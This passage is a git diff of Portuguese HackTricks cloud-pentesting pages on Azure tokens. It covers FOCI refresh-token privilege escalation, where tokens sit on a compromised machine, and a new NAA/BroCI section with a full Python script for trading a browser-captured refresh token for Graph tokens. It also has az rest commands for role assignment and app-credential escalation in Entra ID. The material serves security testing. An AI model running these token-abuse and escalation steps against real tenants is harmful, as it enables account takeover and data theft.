diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index 968a83ab0..d309cf872 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -1,4 +1,4 @@ -# Az - Tokens & Public Applications +# Az - Tokens & Aplicações Públicas {{#include ../../../banners/hacktricks-training.md}} @@ -8,79 +8,79 @@ Entra ID é a plataforma de identity and access management (IAM) baseada em nuve ### OAuth -**Participantes chave no OAuth 2.0:** +**Principais Participantes no OAuth 2.0:** -1. **Servidor de Recursos (RS):** Protege recursos pertencentes ao proprietário do recurso. -2. **Proprietário do Recurso (RO):** Tipicamente um usuário final que possui os recursos protegidos. -3. **Aplicação Cliente (CA):** Uma aplicação que busca acesso a recursos em nome do proprietário do recurso. -4. **Servidor de Autorização (AS):** Emite access tokens para aplicações clientes após autenticar e autorizar elas. +1. **Resource Server (RS):** Protege recursos pertencentes ao resource owner. +2. **Resource Owner (RO):** Tipicamente um usuário final que possui os recursos protegidos. +3. **Client Application (CA):** Uma aplicação que busca acessar recursos em nome do resource owner. +4. **Authorization Server (AS):** Emite access tokens para aplicações clientes após autenticar e autorizar elas. -**Escopos e Consentimento:** +**Scopes e Consentimento:** -- **Escopos:** Permissões granulares definidas no servidor de recursos que especificam níveis de acesso. -- **Consentimento:** O processo pelo qual um proprietário do recurso concede a uma aplicação cliente permissão para acessar recursos com escopos específicos. +- **Scopes:** Permissões granulares definidas no resource server que especificam níveis de acesso. +- **Consentimento:** O processo pelo qual um resource owner concede a uma client application permissão para acessar recursos com scopes específicos. **Integração com Microsoft 365:** - Microsoft 365 utiliza Azure AD para IAM e é composto por múltiplas aplicações OAuth "first-party". - Essas aplicações são profundamente integradas e frequentemente têm relações de serviço interdependentes. - Para simplificar a experiência do usuário e manter a funcionalidade, a Microsoft concede "implied consent" ou "pre-consent" a essas aplicações first-party. -- **Implied Consent:** Certas aplicações são automaticamente **concedidas acesso a escopos específicos sem aprovação explícita do usuário ou do administrador**. -- Esses escopos pre-consentidos normalmente ficam ocultos tanto para usuários quanto para administradores, tornando-os menos visíveis nas interfaces de gerenciamento padrão. +- **Implied Consent:** Certas aplicações são automaticamente **concedidas acesso a scopes específicos sem aprovação explícita do usuário ou administrador**. +- Esses scopes pré-consentidos tipicamente ficam ocultos tanto de usuários quanto de administradores, tornando-os menos visíveis nas interfaces de gerenciamento padrão. -**Tipos de Aplicações Cliente:** +**Tipos de Client Application:** -1. **Clientes Confidenciais:** -- Possuem suas próprias credenciais (ex.: senhas ou certificados). -- Podem **autenticar-se com segurança** no servidor de autorização. -2. **Clientes Públicos:** +1. **Confidential Clients:** +- Possuem suas próprias credenciais (ex.: passwords ou certificados). +- Podem **autenticar-se com segurança** ao authorization server. +2. **Public Clients:** - Não possuem credenciais únicas. -- Não conseguem autenticar-se de forma segura no servidor de autorização. -- **Implicação de Segurança:** Um atacante pode se passar por uma aplicação cliente pública ao solicitar tokens, já que não há mecanismo para o servidor de autorização verificar a legitimidade da aplicação. +- Não podem autenticar-se com segurança ao authorization server. +- **Implicação de Segurança:** Um atacante pode se passar por uma public client application ao requisitar tokens, pois não existe um mecanismo para o authorization server verificar a legitimidade da aplicação. ## Tokens de Autenticação -Existem **três tipos de tokens** usados no OIDC: +Existem **três tipos de tokens** usados em OIDC: -- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** O cliente apresenta este token ao servidor de recursos para **acessar recursos**. Pode ser usado apenas para uma combinação específica de usuário, client e recurso e **não pode ser revogado** até expirar — isto é 1 hora por padrão. -- **ID Tokens**: O cliente recebe este token do servidor de autorização. Contém informações básicas sobre o usuário. Está **vinculado a uma combinação específica de usuário e cliente**. -- **Refresh Tokens**: Fornecido ao cliente junto com o access token. Usado para **obter novos access e ID tokens**. Está vinculado a uma combinação específica de usuário e cliente e pode ser revogado. A expiração padrão é **90 dias** para refresh tokens inativos e **sem expiração para tokens ativos** (a partir de um refresh token é possível obter novos refresh tokens). -- Um refresh token deveria estar vinculado a um **`aud`**, a alguns **scopes**, e a um **tenant**, e ele deveria somente conseguir gerar access tokens para aquele aud, scopes (e nada mais) e tenant. Contudo, isso não é o caso com os **FOCI applications tokens**. +- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** O cliente apresenta esse token ao resource server para **acessar recursos**. Pode ser usado apenas para uma combinação específica de usuário, client e resource e **não pode ser revogado** até expirar — isto é 1 hora por padrão. +- **ID Tokens**: O cliente recebe esse **token do authorization server**. Contém informações básicas sobre o usuário. É **vinculado a uma combinação específica de usuário e client**. +- **Refresh Tokens**: Fornecidos ao cliente junto com o access token. Usados para **obter novos access e ID tokens**. São vinculados a uma combinação específica de usuário e client e podem ser revogados. A expiração padrão é **90 dias** para refresh tokens inativos e **sem expiração para tokens ativos** (a partir de um refresh token é possível obter novos refresh tokens). +- Um refresh token deve estar atrelado a um **`aud`**, a alguns **scopes**, e a um **tenant** e só deve ser capaz de gerar access tokens para aquele aud, scopes (e nada mais) e tenant. Porém, isso não acontece com os tokens de aplicações **FOCI**. - Um refresh token é criptografado e somente a Microsoft pode descriptografá-lo. - Obter um novo refresh token não revoga o refresh token anterior. > [!WARNING] -> Informação para **acesso condicional** é **armazenada** dentro do **JWT**. Então, se você solicitar o **token a partir de um endereço IP permitido**, esse **IP** será **armazenado** no token e então você pode usar esse token a partir de um **IP não permitido para acessar os recursos**. +> Informações para **acesso condicional** são **armazenadas** dentro do **JWT**. Então, se você requisitar o **token a partir de um endereço IP permitido**, esse **IP** será **armazenado** no token e então você pode usar esse token a partir de um **IP não permitido para acessar os recursos**. ### Access Tokens "aud" -O campo indicado em "aud" é o **servidor de recursos** (a aplicação) usado para realizar o login. +O campo indicado no campo "aud" é o **resource server** (a aplicação) usado para realizar o login. O comando `az account get-access-token --resource-type [...]` suporta os seguintes tipos e cada um deles adicionará um "aud" específico no access token resultante: > [!CAUTION] -> Observe que os itens abaixo são apenas as APIs suportadas por `az account get-access-token`, mas existem mais. +> Note que os seguintes são apenas as APIs suportadas por `az account get-access-token`, mas existem mais.
-exemplos de aud +aud examples -- **aad-graph (Azure Active Directory Graph API)**: Usado para acessar a legada Azure AD Graph API (obsoleta), que permite que aplicações leiam e escrevam dados de diretório no Azure Active Directory (Azure AD). +- **aad-graph (Azure Active Directory Graph API)**: Usado para acessar a legacy Azure AD Graph API (deprecated), que permite às aplicações ler e escrever dados de diretório no Azure Active Directory (Azure AD). - `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Usado para gerenciar recursos do Azure através da Azure Resource Manager API. Isso inclui operações como criar, atualizar e excluir recursos como máquinas virtuais, contas de armazenamento e mais. +* **arm (Azure Resource Manager)**: Usado para gerenciar recursos do Azure através da Azure Resource Manager API. Isso inclui operações como criar, atualizar e deletar recursos como virtual machines, storage accounts e mais. - `https://management.core.windows.net/ or https://management.azure.com/` -- **batch (Azure Batch Services)**: Usado para acessar o Azure Batch, um serviço que permite executar aplicações de computação paralela e de alto desempenho em larga escala na nuvem. +- **batch (Azure Batch Services)**: Usado para acessar Azure Batch, um serviço que permite aplicações de computação paralela e de alto desempenho em grande escala na nuvem. - `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Usado para interagir com o Azure Data Lake Storage Gen1, que é um serviço escalável de armazenamento de dados e análise. +* **data-lake (Azure Data Lake Storage)**: Usado para interagir com Azure Data Lake Storage Gen1, que é um serviço escalável de armazenamento de dados e analytics. - `https://datalake.azure.net/` -- **media (Azure Media Services)**: Usado para acessar o Azure Media Services, que fornece processamento e entrega de mídia na nuvem para conteúdo de vídeo e áudio. +- **media (Azure Media Services)**: Usado para acessar Azure Media Services, que fornece processamento e entrega de mídia na nuvem para conteúdo de vídeo e áudio. - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Usado para acessar a Microsoft Graph API, o endpoint unificado para dados dos serviços Microsoft 365. Permite acessar dados e insights de serviços como Azure AD, Office 365, Enterprise Mobility e serviços de Segurança. +* **ms-graph (Microsoft Graph API)**: Usado para acessar a Microsoft Graph API, o endpoint unificado para dados dos serviços Microsoft 365. Permite acessar dados e insights de serviços como Azure AD, Office 365, Enterprise Mobility e Security services. - `https://graph.microsoft.com` - **oss-rdbms (Azure Open Source Relational Databases)**: Usado para acessar serviços de Database do Azure para engines relacionais open-source como MySQL, PostgreSQL e MariaDB. @@ -90,11 +90,11 @@ O comando `az account get-access-token --resource-type [...]` suporta os seguint ### Access Tokens Scopes "scp" -O escopo de um access token é armazenado dentro da chave scp dentro do access token JWT. Esses escopos definem a que o access token tem acesso. +O escopo de um access token é armazenado dentro da chave scp dentro do JWT do access token. Esses scopes definem a que o access token tem acesso. -Se um JWT tem permissão para contatar uma API específica, mas **não possui o scope** para executar a ação solicitada, ele **não será capaz de executar a ação** com esse JWT. +Se um JWT está autorizado a contatar uma API específica mas **não tem o scope** para executar a ação requerida, ele **não conseguirá executar a ação** com aquele JWT. -### Get refresh & access token example +### Exemplo de obtenção de refresh & access token ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -146,30 +146,30 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` ### Outros campos do access token -- **appid**: ID da aplicação usado para gerar o token -- **appidacr**: O Application Authentication Context Class Reference indica como o client foi autenticado — para um public client o valor é 0, e se um client secret for usado o valor é 1 -- **acr**: A claim Authentication Context Class Reference é "0" quando a autenticação do usuário final não atendeu aos requisitos da ISO/IEC 29115. -- **amr**: O método de autenticação indica como o token foi autenticado. Um valor "pwd" indica que uma password foi usada. +- **appid**: Application ID usada para gerar o token +- **appidacr**: The Application Authentication Context Class Reference indica como o client foi autenticado; para um public client o valor é 0, e se um client secret foi usado o valor é 1 +- **acr**: The Authentication Context Class Reference claim é "0" quando a autenticação do usuário final não atendeu aos requisitos da ISO/IEC 29115. +- **amr**: Indica como o token foi autenticado. Um valor de “pwd” indica que uma senha foi usada. - **groups**: Indica os grupos dos quais o principal é membro. -- **iss**: O iss identifica o security token service (STS) que gerou o token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (o uuid é o tenant ID) +- **iss**: O issuer identifica o security token service (STS) que gerou o token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID) - **oid**: O object ID do principal - **tid**: Tenant ID -- **iat, nbf, exp**: Emitido em (quando foi emitido), Not before (não pode ser usado antes desse horário, normalmente mesmo valor que iat), Expiration time (tempo de expiração). +- **iat, nbf, exp**: Issued at (quando foi emitido), Not before (não pode ser usado antes deste momento, normalmente mesmo valor que iat), Expiration time (tempo de expiração). -## FOCI Tokens Privilege Escalation +## Escalonamento de privilégios com FOCI Tokens -Anteriormente foi mencionado que refresh tokens deveriam estar vinculados aos **scopes** com os quais foram gerados, à **application** e ao **tenant** a que foram destinados. Se qualquer uma dessas fronteiras for quebrada, é possível escalar privilégios, pois será possível gerar access tokens para outros recursos e tenants a que o usuário tem acesso e com mais scopes do que o originalmente pretendido. +Anteriormente foi mencionado que refresh tokens devem estar vinculados aos **scopes** com que foram gerados, à **application** e ao **tenant** para os quais foram gerados. Se alguma dessas fronteiras for quebrada, é possível escalar privilégios, pois será possível gerar access tokens para outros recursos e tenants aos quais o usuário tem acesso e com mais scopes do que o originalmente pretendido. -Além disso, **isso é possível com todos os refresh tokens** na [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) porque, como as [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mencionam: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." +Além disso, **isso é possível com todos os refresh tokens** na [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) porque como os [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mencionam: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." -Além disso, note que as aplicações FOCI são aplicações públicas, então **no secret is needed** para autenticar no servidor. +Além disso, note que as aplicações FOCI são public applications, então **nenhum secret é necessário** para autenticar ao servidor. -Os clientes FOCI conhecidos relatados na [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) podem ser [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +Os FOCI clients conhecidos reportados na [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) podem ser [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). -### Obter escopo diferente +### Get different scope -Seguindo o código de exemplo anterior, neste código é requisitado um novo token para um escopo diferente: +Seguindo o código de exemplo anterior, neste código é solicitado um novo token para um scope diferente: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( @@ -202,30 +202,361 @@ scopes=["https://graph.microsoft.com/.default"], # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` +## NAA / BroCI (Nested App Authentication / Broker Client Injection) + +A BroCI refresh tokens é um padrão de troca de token brokered onde um refresh token existente é usado com parâmetros adicionais do broker para solicitar tokens como outro first-party app confiável. + +These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token). + +### Goal and purpose + +O objetivo do BroCI é reutilizar uma sessão de usuário válida de uma cadeia de apps com suporte a broker e solicitar tokens para outro par app/recurso confiável. Portanto, permitindo "escalar privilégios" a partir do token original. + +Do ponto de vista ofensivo, isso importa porque: + +- Pode desbloquear caminhos de first-party app pré-consentidos que não são acessíveis com trocas de refresh padrão. +- Pode retornar access tokens para APIs de alto valor (por exemplo, Microsoft Graph) sob identidades de app com permissões delegadas amplas. +- Expande as oportunidades de pivot pós-autenticação com tokens além da troca clássica de clientes FOCI. + +O que muda em um NAA/BroCI refresh token não é o formato visível do token, mas o **contexto de emissão** e os metadados relacionados ao broker que a Microsoft valida durante operações de refresh brokered. + +NAA/BroCI token exchanges não são a mesma coisa que uma troca OAuth refresh regular. + +- Um refresh token regular (por exemplo obtido via device code flow) geralmente é válido para operações padrão `grant_type=refresh_token`. +- Uma requisição BroCI inclui contexto adicional do broker (`brk_client_id`, broker `redirect_uri`, e `origin`). +- A Microsoft valida se o refresh token apresentado foi emitido em um contexto brokered correspondente. +- Portanto, muitos refresh tokens "normais" falham em requisições BroCI com erros como `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant"). +- Geralmente você não pode "converter" um refresh token normal em um válido para BroCI via código. +- Você precisa de um refresh token já emitido por um fluxo brokered compatível. + +Check the web to find BroCI configured apps an the trust relationships they have. + + +### Mental model + +Pense no BroCI como: + +`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource` + +Se qualquer parte dessa cadeia de broker não coincidir, a troca falha. + +### Where to find a BroCI-valid refresh token + +Uma maneira prática é coletar o tráfego do portal no navegador: + +1. Sign in to `https://entra.microsoft.com` (or Azure portal). +2. Open DevTools -> Network. +3. Filter for: +- `oauth2/v2.0/token` +- `management.core.windows.net` +4. Identify the brokered token response and copy `refresh_token`. +5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios). + +### Common errors + +- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow. +- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client. + +
+Python BroCI refresh helper (broci_auth.py) +```python +#!/usr/bin/env python3 +""" +Python implementation of EntraTokenAid Broci refresh flow. + +Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for: +- brk_client_id +- redirect_uri +- Origin header + +Usage: +python3 broci_auth.py --refresh-token "" + +How to obtain a Broci-valid refresh token (authorized testing only): +1) Open https://entra.microsoft.com and sign in. +2) Open browser DevTools -> Network. +3) Filter requests for: +- "oauth2/v2.0/token" +- "management.core.windows.net" +4) Locate the portal broker token response and copy the "refresh_token" value +(the flow should be tied to https://management.core.windows.net//). +5) Use that token with this script and Broci params: + +python3 broci_auth.py \ +--refresh-token "" \ +--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \ +--tenant "organizations" \ +--api "graph.microsoft.com" \ +--scope ".default offline_access" \ +--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \ +--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \ +--origin "https://entra.microsoft.com" \ +--token-out +""" + +import argparse +import base64 +import datetime as dt +import json +import re +import sys +import urllib.error +import urllib.parse +import urllib.request +from typing import Any + + +GUID_RE = re.compile( +r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$" +) +OIDC_SCOPES = {"offline_access", "openid", "profile", "email"} + + +def resolve_api_scope_url(api: str, scope: str) -> str: +""" +Match Resolve-ApiScopeUrl behavior from the PowerShell module. +""" +if GUID_RE.match(api): +base_resource = api +elif api.lower().startswith("urn:") or "://" in api: +base_resource = api +else: +base_resource = f"https://{api}" + +base_resource = base_resource.rstrip("/") + +resolved: list[str] = [] +for token in scope.split(): +if not token.strip(): +continue +if "://" in token: +resolved.append(token) +elif token.lower().startswith("urn:"): +resolved.append(token) +elif token in OIDC_SCOPES: +resolved.append(token) +elif GUID_RE.match(token): +resolved.append(f"{token}/.default") +else: +normalized = ".default" if token in {"default", ".default"} else token +resolved.append(f"{base_resource}/{normalized}") + +return " ".join(resolved) + + +def parse_jwt_payload(jwt_token: str) -> dict[str, Any]: +parts = jwt_token.split(".") +if len(parts) != 3: +raise ValueError("Invalid JWT format.") +payload = parts[1] +padding = "=" * ((4 - len(payload) % 4) % 4) +decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii")) +return json.loads(decoded.decode("utf-8")) + + +def refresh_broci_token( +refresh_token: str, +client_id: str, +scope: str, +api: str, +tenant: str, +user_agent: str, +origin: str | None, +brk_client_id: str | None, +redirect_uri: str | None, +disable_cae: bool, +) -> dict[str, Any]: +api_scope_url = resolve_api_scope_url(api=api, scope=scope) + +headers = { +"User-Agent": user_agent, +"X-Client-Sku": "MSAL.Python", +"X-Client-Ver": "1.31.0", +"X-Client-Os": "win32", +"Content-Type": "application/x-www-form-urlencoded", +} +if origin: +headers["Origin"] = origin + +body: dict[str, str] = { +"grant_type": "refresh_token", +"client_id": client_id, +"scope": api_scope_url, +"refresh_token": refresh_token, +} +if not disable_cae: +body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}' +if brk_client_id: +body["brk_client_id"] = brk_client_id +if redirect_uri: +body["redirect_uri"] = redirect_uri + +data = urllib.parse.urlencode(body).encode("utf-8") +token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" +req = urllib.request.Request(token_url, data=data, headers=headers, method="POST") + +try: +with urllib.request.urlopen(req) as resp: +raw = resp.read().decode("utf-8") +except urllib.error.HTTPError as e: +err_raw = e.read().decode("utf-8", errors="replace") +try: +err_json = json.loads(err_raw) +short = err_json.get("error", "unknown_error") +desc = err_json.get("error_description", err_raw) +raise RuntimeError(f"{short}: {desc}") from None +except json.JSONDecodeError: +raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None + +tokens = json.loads(raw) +if "access_token" not in tokens: +raise RuntimeError("Token endpoint response did not include access_token.") +return tokens + + +def main() -> int: +parser = argparse.ArgumentParser( +description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)." +) +parser.add_argument("--refresh-token", required=True, help="Refresh token (required).") +parser.add_argument( +"--client-id", +default="04b07795-8ddb-461a-bbee-02f9e1bf7b46", +help="Client ID (default: Azure CLI).", +) +parser.add_argument( +"--scope", +default=".default offline_access", +help="Scopes (default: '.default offline_access').", +) +parser.add_argument( +"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)." +) +parser.add_argument("--tenant", default="common", help="Tenant (default: common).") +parser.add_argument( +"--user-agent", +default="python-requests/2.32.3", +help="User-Agent sent to token endpoint.", +) +parser.add_argument("--origin", default=None, help="Optional Origin header.") +parser.add_argument( +"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)." +) +parser.add_argument( +"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)." +) +parser.add_argument( +"--disable-cae", +action="store_true", +help="Disable CAE claims in token request.", +) +parser.add_argument( +"--token-out", +action="store_true", +help="Print access/refresh tokens in output.", +) +parser.add_argument( +"--disable-jwt-parsing", +action="store_true", +help="Do not parse JWT claims.", +) + +args = parser.parse_args() + +print("[*] Sending request to token endpoint") +try: +tokens = refresh_broci_token( +refresh_token=args.refresh_token, +client_id=args.client_id, +scope=args.scope, +api=args.api, +tenant=args.tenant, +user_agent=args.user_agent, +origin=args.origin, +brk_client_id=args.brk_client_id, +redirect_uri=args.redirect_uri, +disable_cae=args.disable_cae, +) +except Exception as e: +print(f"[!] Error: {e}", file=sys.stderr) +return 1 + +expires_in = int(tokens.get("expires_in", 0)) +expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds") +tokens["expiration_time"] = expiration_time + +print( +"[+] Got an access token and a refresh token" +if tokens.get("refresh_token") +else "[+] Got an access token (no refresh token requested)" +) + +if not args.disable_jwt_parsing: +try: +jwt_payload = parse_jwt_payload(tokens["access_token"]) +audience = jwt_payload.get("aud", "") +print(f"[i] Audience: {audience} / Expires at: {expiration_time}") +tokens["scp"] = jwt_payload.get("scp") +tokens["tenant"] = jwt_payload.get("tid") +tokens["user"] = jwt_payload.get("upn") +tokens["client_app"] = jwt_payload.get("app_displayname") +tokens["client_app_id"] = args.client_id +tokens["auth_methods"] = jwt_payload.get("amr") +tokens["ip"] = jwt_payload.get("ipaddr") +tokens["audience"] = audience +if isinstance(audience, str): +tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience)) +if "xms_cc" in jwt_payload: +tokens["xms_cc"] = jwt_payload.get("xms_cc") +except Exception as e: +print(f"[!] JWT parse error: {e}", file=sys.stderr) +return 1 +else: +print(f"[i] Expires at: {expiration_time}") + +if args.token_out: +print("\nAccess Token:") +print(tokens.get("access_token", "")) +if tokens.get("refresh_token"): +print("\nRefresh Token:") +print(tokens["refresh_token"]) + +print("\nToken object (JSON):") +print(json.dumps(tokens, indent=2)) +return 0 + + +if __name__ == "__main__": +raise SystemExit(main()) +``` +
+ ## Onde encontrar tokens Do ponto de vista de um atacante, é muito interessante saber onde é possível encontrar access and refresh tokens quando, por exemplo, o PC de uma vítima é comprometido: - Dentro de **`/.Azure`** -- **`azureProfile.json`** contém informações sobre usuários logados no passado -- **`clouds.config contains`** informações sobre subscriptions +- **`azureProfile.json`** contém informações sobre usuários que fizeram login no passado +- **`clouds.config contains`** contém informações sobre assinaturas - **`service_principal_entries.json`** contém credenciais de aplicações (tenant id, clients e secret). Apenas em Linux & macOS - **`msal_token_cache.json`** contém access tokens e refresh tokens. Apenas em Linux & macOS -- **`service_principal_entries.bin`** e msal_token_cache.bin são usados no Windows e são criptografados com DPAPI +- **`service_principal_entries.bin`** e **`msal_token_cache.bin`** são usados no Windows e são encriptados com DPAPI - **`msal_http_cache.bin`** é um cache de requisições HTTP - Carregue-o: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)` -- **`AzureRmContext.json`** contém informações sobre logins anteriores usando Az PowerShell (mas sem credenciais) -- Dentro de **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** há vários arquivos `.bin` com **access tokens**, ID tokens e informações de conta criptografadas com o DPAPI do usuário. -- É possível encontrar mais **access tokens** nos arquivos `.tbres` dentro de **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`**, que contêm um base64 criptografado com DPAPI contendo access tokens. -- Em Linux e macOS você pode obter **access tokens, refresh tokens and id tokens** do Az PowerShell (se usado) executando `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` -- No Windows isso gera apenas id tokens. -- É possível verificar se o Az PowerShell foi usado em Linux e macOS checando se `$HOME/.local/share/.IdentityService/` existe (embora os arquivos contidos estejam vazios e sejam inúteis) -- Se o usuário estiver **logado no Azure com o browser**, de acordo com este [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) é possível iniciar o fluxo de autenticação com um **redirect to localhost**, fazer o browser autorizar automaticamente o login e receber o refresh token. Note que existem apenas algumas aplicações FOCI que permitem redirect para localhost (como az cli ou o powershell module), então essas aplicações precisam estar permitidas. -- Outra opção explicada no blog é usar a ferramenta [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) que pode usar qualquer aplicação porque ela **obtém o OAuth code para então obter um refresh token a partir do título da página final de auth** usando o redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`. +- **`AzureRmContext.json`** contém informação sobre logins anteriores usando Az PowerShell (mas sem credenciais) +- Dentro de **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** há vários ficheiros `.bin` com **access tokens**, ID tokens e informação de conta encriptada com o DPAPI do usuário. +- É possível encontrar mais **access tokens** nos ficheiros `.tbres` dentro de **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`**, que contêm um base64 encriptado com DPAPI com access tokens. +- No Linux e macOS você pode obter **access tokens, refresh tokens e id tokens** do Az PowerShell (se usado) executando `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` +- No Windows isto gera apenas id tokens. +- É possível verificar se Az PowerShell foi usado no Linux e macOS checando se `$HOME/.local/share/.IdentityService/` existe (embora os ficheiros contidos sejam vazios e inúteis) +- Se o usuário estiver **logado no Azure com o browser**, de acordo com este [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) é possível iniciar o fluxo de autenticação com um **redirect to localhost**, fazer o browser autorizar automaticamente o login e receber o refresh token. Note que existem apenas algumas aplicações FOCI que permitem redirect to localhost (como az cli ou o módulo do powershell), portanto essas aplicações devem ser permitidas. +- Outra opção explicada no blog é usar a ferramenta [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) que pode usar qualquer aplicação porque ela irá **get the OAuth code to then get a refresh token from the title of the final auth** page usando o redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`. ## Referências - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) - [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md) +- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/) +- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index efc6519d8..ed4f0bb60 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,15 +3,15 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Note que **nem todas as permissões granulares** dos papéis integrados no Entra ID **são elegíveis para serem usadas em papéis personalizados.** +> Observe que **nem todas as permissões granulares** que as built-in roles possuem no Entra ID **são elegíveis para serem usadas em custom roles.** -## Papéis +## Funções -### Papel: Administrador de Papéis Privilegiados +### Role: Privileged Role Administrator -Este papel contém as permissões granulares necessárias para poder atribuir papéis a principais e para dar mais permissões a papéis. Ambas as ações podem ser abusadas para escalar privilégios. +Esta role contém as permissões granulares necessárias para poder atribuir funções a principals e conceder mais permissões às funções. Ambas as ações podem ser abusadas para escalar privilégios. -- Atribuir papel a um usuário: +- Atribuir função a um usuário: ```bash # List enabled built-in roles az rest --method GET \ @@ -27,7 +27,7 @@ az rest --method POST \ \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" }" ``` -- Adicionar mais permissões a um papel: +- Adicionar mais permissões a uma função: ```bash # List only custom roles az rest --method GET \ @@ -52,7 +52,7 @@ az rest --method PATCH \ ### `microsoft.directory/applications/credentials/update` -Isso permite que um atacante **adicione credenciais** (senhas ou certificados) a aplicativos existentes. Se o aplicativo tiver permissões privilegiadas, o atacante pode se autenticar como esse aplicativo e obter essas permissões. +Isto permite que um atacante **adicionar credenciais** (senhas ou certificados) a aplicações existentes. Se a aplicação tiver permissões privilegiadas, o atacante pode autenticar-se como essa aplicação e obter esses privilégios. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append @@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert ``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Isso permite as mesmas ações que 